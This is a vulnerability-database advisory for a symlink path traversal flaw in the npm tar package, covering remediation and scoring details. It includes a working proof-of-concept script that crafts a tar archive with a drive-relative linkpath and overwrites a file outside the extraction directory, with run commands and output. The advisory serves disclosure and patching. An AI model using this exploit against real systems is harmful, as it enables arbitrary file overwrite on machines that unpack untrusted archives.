CVE-2026-31802 — Vulnerability in tar — CVE Details
node-tar Symlink Path Traversal via Drive-Relative Linkpath
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.21%). Schedule for your next planned update.
Does your project use an affected tar version?
Paste your package-lock.json to check it for CVE-2026-31802 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.
Details
The extraction logic in Unpack[STRIPABSOLUTEPATH] validates .. segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored linkpath to the stripped value.
What happens with linkpath: "C:../../../target.txt":
stripAbsolutePath()removesC:and rewrites the value to../../../target.txt.- The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted.
- Symlink creation uses the rewritten value (
../../../target.txt) from nested patha/b/l. - Writing through the extracted symlink overwrites the outside file (
../target.txt).
This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.
PoC
Tested on Arch Linux with tar@7.5.10.
PoC script (poc.cjs):
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')
const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536)
new Header({
path: 'a/b/l',
type: 'SymbolicLink',
linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => {
fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
process.stdout.write(fs.readFileSync(target, 'utf8'))
})
Run:
node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt
Observed output:
PWNED
../../../target.txt
lrwxrwxrwx - joshuavr 7 Mar 18:37 a/b/l -> ../../../target.txt
.rw-r--r-- 6 joshuavr 7 Mar 18:37 ../target.txt
PWNED confirms outside file content overwrite. readlink and ls -l confirm the extracted symlink points outside the extraction directory.
Impact
This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.
Realistic scenarios:
- CLI tools unpacking untrusted tarballs into a working directory
- build/update pipelines consuming third-party archives
- services that import user-supplied tar files
Advisory Timeline
- First published March 10, 2026 (260 days ago).
- Last revised September 10, 2026 — 183 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
npm install tar@7.5.11
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: npm (1).
| Package | Fixed In |
|---|---|
| tar npm · Affected: All versions | 7.5.11 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-22Path TraversalMITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 7.1 score means for each attack dimension.
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N
References
Frequently Asked Questions
- What is CVE-2026-31802?
- node-tar Symlink Path Traversal via Drive-Relative Linkpath. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 7.1/10).
- How do I check if my project is affected by CVE-2026-31802?
- CVE-2026-31802 affects tar. It has a 0.2% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-31802 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Significant impact if exploited, or exploitable with modest effort.
This is a below-median EPSS score — only 6.6% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.
Also Known As
Related CVEs
- CVE-2026-59873CRITICAL
node-tar: Decompression/parse DoS via unlimited input
- CVE-2026-24842HIGH
node-tar Vulnerable to Arbitrary File Creation/Overwrite via Hardlink Path Traversal
- CVE-2021-32804HIGH
Arbitrary File Creation/Overwrite due to insufficient absolute path sanitization
- CVE-2021-37713HIGH
Arbitrary File Creation/Overwrite on Windows via insufficient relative path sanitization
- CVE-2026-26960HIGH
Arbitrary File Read/Write via Hardlink Target Escape Through Symlink Chain in node-tar Extraction
- CVE-2026-23745HIGH
node-tar is Vulnerable to Arbitrary File Overwrite and Symlink Poisoning via Insufficient Path Sanitization
- CVE-2026-59874HIGH
node-tar: Negative tar entry size causes infinite loop in archive replace
- CVE-2021-37701HIGH
Arbitrary File Creation/Overwrite via insufficient symlink protection due to directory cache poisoning using symbolic links